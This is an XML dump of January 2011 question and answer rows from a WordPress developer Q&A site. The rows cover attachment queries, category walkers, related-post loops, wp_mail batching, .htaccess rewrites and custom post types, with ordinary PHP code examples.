  <row Id="7245" PostTypeId="1" AcceptedAnswerId="7247" CreationDate="2011-01-19T10:21:23.583" Score="0" ViewCount="180" Body="&lt;p&gt;I have several images attached to each post. I need to generate a gallery, but because it's heavily customized I don't want to use a gallery plugin, nor the gallery short code. It's also situated in a DIV that is totally separated from the post content/title etc. so it has to be stand-alone code in PHP, hard-coded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if there's a method to retrieve the list of attachments in a URL format.. and then pull in the proper sizes (filename_80X80.jpg or something along those lines - I know the filenames are manipulated after the thumbnail size). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the thumbnail sizes covered using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'ourwork_full', 589, 315, true );&#xA;add_image_size( 'ourwork_thumb', 80, 80, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the funtions.php file of the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? Do I need to use custom WP query? Or is there a function/template tag that I am missing? &lt;/p&gt;&#xA;" OwnerUserId="1631" LastActivityDate="2011-01-19T10:51:04.373" Title="How to query details of images in gallery that is attached to a post" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;themes&gt;&lt;attachments&gt;&lt;template-tags&gt;" AnswerCount="1" />
  <row Id="7246" PostTypeId="2" ParentId="7244" CreationDate="2011-01-19T10:43:10.047" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.pastebin.com/YFQC6biN&quot; rel=&quot;nofollow&quot;&gt;code that thread links to&lt;/a&gt; seems very close to what you are describing - looping through categories and retrieving some amount of posts for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to integrate posts into &lt;code&gt;wp_list_categories()&lt;/code&gt; you can do that by extending &lt;code&gt;Walker_Category&lt;/code&gt; class and using it as custom walker passed via &lt;code&gt;walker&lt;/code&gt; argument... but it's not pretty for nested categories (I just tried and it seems to be messy to accurately insert posts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example code, I am not entirely sure it handles nesting properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( array(&#xA;    'walker' =&amp;gt; new Walker_Category_Posts(),&#xA;) );&#xA;&#xA;class Walker_Category_Posts extends Walker_Category {&#xA;&#xA;    function start_el(&amp;amp;$output, $category, $depth, $args) {&#xA;&#xA;        $this-&amp;gt;category = $category;&#xA;&#xA;        parent::start_el($output, $category, $depth, $args);&#xA;    }&#xA;&#xA;    function end_el(&amp;amp;$output, $page, $depth, $args) {&#xA;        if ( 'list' != $args['style'] )&#xA;            return;&#xA;&#xA;        $posts = get_posts( array(&#xA;            'cat' =&amp;gt; $this-&amp;gt;category-&amp;gt;term_id,&#xA;            'numberposts' =&amp;gt; 3,&#xA;        ) );&#xA;&#xA;        if( !empty( $posts ) ) {&#xA;&#xA;            $posts_list = '&amp;lt;ul&amp;gt;';&#xA;&#xA;            foreach( $posts as $post )&#xA;                $posts_list .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $post-&amp;gt;ID ) . '&quot;&amp;gt;'.get_the_title( $post-&amp;gt;ID ).'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;            $posts_list .= '&amp;lt;/ul&amp;gt;';&#xA;        }&#xA;        else {&#xA;            $posts_list = '';&#xA;        }&#xA;&#xA;        $output .= &quot;{$posts_list}&amp;lt;/li&amp;gt;\n&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-19T12:05:26.697" LastActivityDate="2011-01-19T12:05:26.697" CommentCount="1" />
  <row Id="7247" PostTypeId="2" ParentId="7245" CreationDate="2011-01-19T10:51:04.373" Score="2" ViewCount="" Body="&lt;p&gt;Query for image attachments would be something like this (taken from &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt; plugin/extension) with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_children()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children( array( &#xA;    'post_parent' =&amp;gt; $args['post_id'], &#xA;    'post_status' =&amp;gt; 'inherit', &#xA;    'post_type' =&amp;gt; 'attachment', &#xA;    'post_mime_type' =&amp;gt; 'image', &#xA;    'order' =&amp;gt; 'ASC', &#xA;    'orderby' =&amp;gt; 'menu_order ID' &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can loop through array and retrieve URLs with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;&lt;/a&gt; which will get you URL and dimensions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T10:51:04.373" CommentCount="2" />
  <row Id="7248" PostTypeId="2" ParentId="7239" CreationDate="2011-01-19T11:13:49.353" Score="1" ViewCount="" Body="&lt;p&gt;Remove &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_template()&lt;/code&gt;&lt;/a&gt; function from &lt;code&gt;single.php&lt;/code&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way quick scan with &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-check/&quot; rel=&quot;nofollow&quot;&gt;Theme-Check&lt;/a&gt; shows that theme contains hardcoded links and runs obfuscated code, not even mentioning massive amount of missing or poorly coded features. I'd not use it without major scrub of internals.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T11:13:49.353" CommentCount="2" />
  <row Id="7249" PostTypeId="2" ParentId="689" CreationDate="2011-01-19T11:26:53.640" Score="3" ViewCount="" Body="&lt;p&gt;I added new field 'picture' (input type file) to category with help of these&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('category_edit_form_fields','category_edit_form_fields');&#xA;add_action('category_edit_form', 'category_edit_form');&#xA;add_action('category_add_form_fields','category_edit_form_fields');&#xA;add_action('category_add_form','category_edit_form');&#xA;&#xA;&#xA;function category_edit_form() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;jQuery('#edittag').attr( &quot;enctype&quot;, &quot;multipart/form-data&quot; ).attr( &quot;encoding&quot;, &quot;multipart/form-data&quot; );&#xA;        });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php &#xA;}&#xA;&#xA;function category_edit_form_fields () {&#xA;?&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th valign=&quot;top&quot; scope=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;catpic&quot;&amp;gt;&amp;lt;?php _e('Picture of the category', ''); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input type=&quot;file&quot; id=&quot;catpic&quot; name=&quot;catpic&quot;/&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are free to use any taxonomy, just replace &lt;code&gt;category&lt;/code&gt; to your taxonomy name&lt;/p&gt;&#xA;" OwnerUserId="2592" LastActivityDate="2011-01-19T11:26:53.640" CommentCount="2" />
  <row Id="7250" PostTypeId="1" AcceptedAnswerId="7255" CreationDate="2011-01-19T11:34:40.403" Score="1" ViewCount="29" Body="&lt;p&gt;Hey hi,&#xA;I am using a piece of code, where with help of it I can display the description of the term to my archives page.&#xA;My idea of doing this is simple, I have MBA website and I have 3 custom-taxonomies with 1000's of terms in each,&#xA;for-eg:- I have a term mba-in-accounts, so its description will be displayed on the archive page of mba-in-accounts,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now the main problem is, this description comes well, but it is just displayed to logged in users&#xA;I want to make it display to all users who visits my website,&#xA;I am using this code to display &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA;                if ( is_tax( 'location' ) ) {&#xA;                    echo term_description();&#xA;                }&#xA;                elseif (is_tax('mba_courses')){&#xA;                    echo term_description();&#xA;                }&#xA;                elseif (is_tax('duration')){&#xA;                    echo term_description();&#xA;                }&#xA;&#xA;                ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make it display to all users,&#xA;and I am also using &lt;a href=&quot;http://wordpress.org/extend/plugins/allow-html-in-category-descriptions/&quot; rel=&quot;nofollow&quot;&gt;allow-html-in-category-descriptions&lt;/a&gt; plugin to enable HTML in description box&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-01-19T12:13:46.233" Title="terms_description and admin problem" Tags="&lt;archive&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="7251" PostTypeId="2" ParentId="5531" CreationDate="2011-01-19T11:38:58.513" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks (Wordpress Plugin)&lt;/a&gt; from John P. Bloch did the trick for me. Great /flexible plugin!&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T23:33:22.193" LastActivityDate="2011-02-07T23:33:22.193" />
  <row Id="7252" PostTypeId="1" AcceptedAnswerId="7305" CreationDate="2011-01-19T11:47:05.533" Score="0" ViewCount="69" Body="&lt;p&gt;I had a page.. and I by mistake added another one, so the permalink got appended by &quot;-2&quot; at the end. I had to delete one of the pages, so I happened to delete the one without the -2 attached. Now I'm trying to change the slug of the page so that it becomes &quot;pagetitle/&quot; rather than &quot;pagetitle-2&quot; but everytime I edit the permalink it reverts back to &quot;pagetitle-2&quot;   any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1631" LastActivityDate="2011-01-20T01:50:28.613" Title="Permalink of a page that has already been deleted" Tags="&lt;permalinks&gt;&lt;page&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7253" PostTypeId="2" ParentId="7241" CreationDate="2011-01-19T11:59:45.687" Score="0" ViewCount="" Body="&lt;p&gt;If you use the &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; plugin your visitors can upload an attachment to a file that sends you an email with the file as an attachment.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-01-19T11:59:45.687" CommentCount="1" />
  <row Id="7254" PostTypeId="2" ParentId="7221" CreationDate="2011-01-19T12:00:35.847" Score="4" ViewCount="" Body="&lt;p&gt;You can also enqueue the whole jQuery UI directly from Google. This is how I do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('jquery-ui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js', array('jquery'), '1.8.6');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And since jQuery is listed as a dependency for jQuery UI, you don't need to manually enqueue it. WordPress will do it automatically for you.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2011-01-19T12:00:35.847" CommentCount="1" />
  <row Id="7255" PostTypeId="2" ParentId="7250" CreationDate="2011-01-19T12:13:46.233" Score="1" ViewCount="" Body="&lt;p&gt;There is nothing in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/term_description&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;term_description()&lt;/code&gt;&lt;/a&gt; and deeper (that I see) that checks for user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try this and see if it returns &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Error&lt;/code&gt;&lt;/a&gt; that might make &lt;code&gt;term_description()&lt;/code&gt; return empty string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_term_field( 'description', $term, $taxonomy )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T12:13:46.233" CommentCount="4" />
  <row Id="7256" PostTypeId="1" CreationDate="2011-01-19T14:28:27.573" Score="0" ViewCount="97" Body="&lt;p&gt;I have a list of &quot;categories&quot; and other of &quot;Filters&quot; but the list of categories have a lot of children, so I would like add in the list of Filters the grandchildren who are commons between both lists but I don´t know how I can do that..... can you help me please??&lt;/p&gt;&#xA;" LastActivityDate="2011-01-19T14:28:27.573" Title="Filters like a product catalogue" Tags="&lt;filters&gt;" CommentCount="1" />
  <row Id="7258" PostTypeId="1" AcceptedAnswerId="7259" CreationDate="2011-01-19T15:19:33.747" Score="1" ViewCount="83" Body="&lt;p&gt;The two functions below are designed to return a list of posts that share the same category as the current post being viewed in single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I var_dump on $cat (should be a list of the categories assigned to the current post), I'm not getting what I'm expecting. Do I need to deserialize the array before passing it to the get_posts query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_cats()&#xA;{&#xA;$post_cats= array();&#xA;$categories = get_the_category();&#xA;foreach($categories as $cat){&#xA;array_push($post_cats, $cat-&amp;gt;cat_ID);&#xA;}&#xA;return $post_cats;&#xA;}&#xA;&#xA;//get related posts by category&#xA;function ce4_get_related_by_category()&#xA;{&#xA;global $post;&#xA;$cat = implode(',',get_cats());&#xA;$catHidden=get_cat_ID('hidden');&#xA;$myqueryCurrent = new WP_Query();&#xA;$myqueryCurrent-&amp;gt;query(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'post__not_in' =&amp;gt; get_option('sticky_posts')));&#xA;$totalpostcount = $myqueryCurrent-&amp;gt;found_posts;&#xA;if($totalpostcount &amp;gt; 0)&#xA;    {&#xA;        echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;        $myposts = get_posts(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'numberposts' =&amp;gt; $cb2_current_count));&#xA;        foreach($myposts as $idx=&amp;gt;$post) &#xA;        {&#xA;        ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php &#xA;        }&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-19T16:34:44.887" LastActivityDate="2011-01-19T16:34:44.887" Title="How do I obtain a list of categories assigned to the current post?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="7259" PostTypeId="2" ParentId="7258" CreationDate="2011-01-19T15:22:19.507" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_category&quot; rel=&quot;nofollow&quot;&gt;get_the_category()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will return an array of category IDs belonging to the current post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$post_cats= array();&#xA;$categories = get_the_category();&#xA;foreach($categories as $cat) :&#xA;array_push($post_cats, $cat-&gt;cat_id);&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the $post_cats array will have a list of all the ids.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2418" LastEditorDisplayName="" LastEditDate="2011-01-19T15:47:04.103" LastActivityDate="2011-01-19T15:47:04.103" CommentCount="4" />
  <row Id="7260" PostTypeId="1" AcceptedAnswerId="7269" CreationDate="2011-01-19T15:24:08.273" Score="1" ViewCount="182" Body="&lt;p&gt;I've searched all over Google with no luck. Can someone point me in the right direction for learning how to send out batch emails with the wp_mail() function?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-19T16:37:26.060" Title="Batch Emails with WP-Mail()" Tags="&lt;email&gt;&lt;mailing-list&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7261" PostTypeId="1" CreationDate="2011-01-19T15:25:29.180" Score="0" ViewCount="198" Body="&lt;p&gt;I've had a request on a site i set up to remove part of the URL, please don't ask why, i just have to do this :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/drinks/lemons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would need to display as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/lemons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this with .htaccess?  I've seen something similar for removing &quot;category&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^category/(.+)$ http://www.yourblog.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But replacing &quot;category&quot; with &quot;drinks&quot;, for example, results in 404s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:31:45.803" LastActivityDate="2011-02-16T08:31:45.803" Title="Remove part of a URL" Tags="&lt;htaccess&gt;" CommentCount="3" />
  <row Id="7262" PostTypeId="1" AcceptedAnswerId="7725" CreationDate="2011-01-19T15:31:21.433" Score="0" ViewCount="313" Body="&lt;p&gt;according with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5477/pagination-with-custom-loop&quot;&gt;Pagination with custom loop&lt;/a&gt;. I use the custom loop for display flash game. For make a pagination on the page with posts from one category (mydomain/category/categoryName) I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse5477_pre_get_posts' );&#xA;function wpse5477_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_category() ) {&#xA;        $wp_query-&amp;gt;set( 'post_type', 'game' );&#xA;        $wp_query-&amp;gt;set( 'posts_per_page', 9 );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the section on the main page of my site, where displayed three game from each category. But according with code above I can't display only 3 games, even if I determine in array('post_per_page', 3) or smth like this, because this number have been already determine in $wp-query. how could I kill two birds with one stone? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2011-01-25T15:33:17.463" Title="Display different number of posts from one category on the different pages" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;loop&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="7263" PostTypeId="2" ParentId="7241" CreationDate="2011-01-19T15:56:33.437" Score="1" ViewCount="" Body="&lt;p&gt;See this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4307/how-can-i-add-an-image-upload-field-directly-to-a-custom-write-panel/4413#4413&quot;&gt;very similar question&lt;/a&gt;. The answer can be adjusted to work with all types of files, not just images.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-19T15:56:33.437" />
  <row Id="7264" PostTypeId="2" ParentId="7258" CreationDate="2011-01-19T16:08:23.070" Score="1" ViewCount="" Body="&lt;p&gt;You can fetch array of IDs alone like this with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_object_terms($id, 'category', array('fields' =&amp;gt; 'ids'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;get_the_category()&lt;/code&gt; caches results and getting IDs from its return might actually be more efficient than fetching IDs separately with this.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T16:08:23.070" CommentCount="4" />
  <row Id="7266" PostTypeId="1" AcceptedAnswerId="7294" CreationDate="2011-01-19T16:21:08.780" Score="0" ViewCount="409" Body="&lt;p&gt;I'm trying to mark up my posts using their custom taxonomy slug as the div class so that they can be filtered...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far what I have displays the taxonomy name but what I need is the slug so I have a nice-space-free-name, I have the below so far outputting the name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;box-item cocktails-box &#xA; &amp;lt;?php $terms_as_text = strip_tags( get_the_term_list( $wp_query-&amp;gt;post-&amp;gt;ID, 'cocktail_type', '', ' ', '' ) );&#xA; echo $terms_as_text; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated - I'm getting a bald patch from scratching my head on this..&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2011-01-19T22:02:38.490" Title="Get wordpress taxonomy slug name(s) to use as div class" Tags="&lt;3.0&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;slug&gt;" AnswerCount="2" />
  <row Id="7267" PostTypeId="2" ParentId="7121" CreationDate="2011-01-19T16:29:35.423" Score="0" ViewCount="" Body="&lt;p&gt;What OS you running? As this actually sounds like an AWS php sdk issue. Having a look though their source code shows they don't seem to use fclose and your OS must have a limit on open files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you email me at iain.cambridge - at - fubra.com I'll send you a copy of the sdk with a bug fix aswell.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-19T16:29:35.423" CommentCount="7" />
  <row Id="7268" PostTypeId="2" ParentId="1338" CreationDate="2011-01-19T16:30:59.563" Score="1" ViewCount="" Body="&lt;p&gt;Today I went trough the plugin repository and found these two plugins.I think these plugins best suits  for the Multisite  Ad-sharing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adsense-revenue-sharing/&quot; rel=&quot;nofollow&quot;&gt;Adsense revenue sharing&lt;/a&gt; : Here we can share the revenue using adsense publisher Ids.Some Phpbb forum hosting platforms,wikidot etc web-services follow the similar procedure.They share revenue with with their sub-site user displaying ads with certain Time Intervals .This wordpress plugin is not updated for more than 2 years .&#xA;But this plugin have some Nice features&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Site Admins can share revenue based&#xA;on Hits.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Need to configure the plugin Sub-site wise .We Can manage site wide if we use any&#xA;Multi-site manager plugins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/advertising-manager&quot; rel=&quot;nofollow&quot;&gt;Advertising Manager&lt;/a&gt; :This plugin may be useful for sharing among Authors .But not best suitable for Multi-site installation as mentioned in this question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope some one would create plugin for this in the future &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2011-01-21T12:40:07.470" LastActivityDate="2011-01-21T12:40:07.470" CommunityOwnedDate="2011-01-19T16:30:59.563" />
  <row Id="7269" PostTypeId="2" ParentId="7260" CreationDate="2011-01-19T16:37:26.060" Score="1" ViewCount="" Body="&lt;p&gt;While according to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_mail()&lt;/code&gt;&lt;/a&gt; docs you can pass array of emails addressees it would be bad email tone since it will expose addresses between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no explicit bcc (blind copy) argument from &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/pluggable.php#L351&quot; rel=&quot;nofollow&quot;&gt;quick look at source it does seems to be processed if passed in headers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that many hosting providers are very nervous about mass outgoing emails and can react... poorly. :) It's better to check in advance how many and how often emails you are allowed to send.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-19T16:37:26.060" CommentCount="3" />
  <row Id="7270" PostTypeId="1" AcceptedAnswerId="7274" CreationDate="2011-01-19T16:43:10.100" Score="1" ViewCount="108" Body="&lt;p&gt;In the function below, I'm trying to remove the current post from the output loop (since this is a list of &quot;related&quot; posts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to pass the current post $post-&gt;ID to the &quot;post__not_in&quot; parameter, all hell breaks loose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: array_map() [function.array-map]: Argument #2 should be an array in C:\xampplite\htdocs\theteareport\wp-includes\query.php on line 1826&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: implode() [function.implode]: Invalid arguments passed in C:\xampplite\htdocs\theteareport\wp-includes\query.php on line 1826&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: array_diff() [function.array-diff]: Argument #2 is not an array in C:\xampplite\htdocs\theteareport\wp-includes\query.php on line 2496&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper method?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get related posts by category&#xA;function ce4_get_related_by_category()&#xA;{&#xA;global $post;&#xA;$cat = implode(',',get_cats());&#xA;$catHidden=get_cat_ID('hidden');&#xA;$myqueryCurrent = new WP_Query();&#xA;//$myqueryCurrent-&amp;gt;query(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'post__not_in' =&amp;gt; get_option('sticky_posts')));&#xA;$myqueryCurrent-&amp;gt;query(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'post__not_in' =&amp;gt; $post-&amp;gt;ID));&#xA;$totalpostcount = $myqueryCurrent-&amp;gt;found_posts;&#xA;if($totalpostcount &amp;gt; 0)&#xA;    {&#xA;        echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;        $myposts = get_posts(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'numberposts' =&amp;gt; $cb2_current_count));&#xA;        foreach($myposts as $idx=&amp;gt;$post) &#xA;        {&#xA;        ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php &#xA;        }&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-19T17:00:46.720" Title="How to remove the current post from the query?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="7271" PostTypeId="1" CreationDate="2011-01-19T16:48:52.197" Score="1" ViewCount="298" Body="&lt;p&gt;I need to re-write a current WP website and I think Custom post types are required, combined with Meta Box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic layout is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Author (custom)&#xA;Books (custom)&#xA;Photos (custom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All 3 custom post are individual but also &quot;linked&quot; in some way.&#xA;An Author, will have written 2 Books and taken 10 photos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes for when browsing for Books, I need to link the author, and then photos of this author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I recreate a metaBox in each custom post to allow the Multi selection of other post.&#xA;To clarify, when adding an Author, I need the ability to link Books and Photos to it (using their own types).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it's &quot;kind&quot; of clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will appreciate some help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-01-19T23:39:13.097" Title="metabox with custom post type values" Tags="&lt;metabox&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="3" />
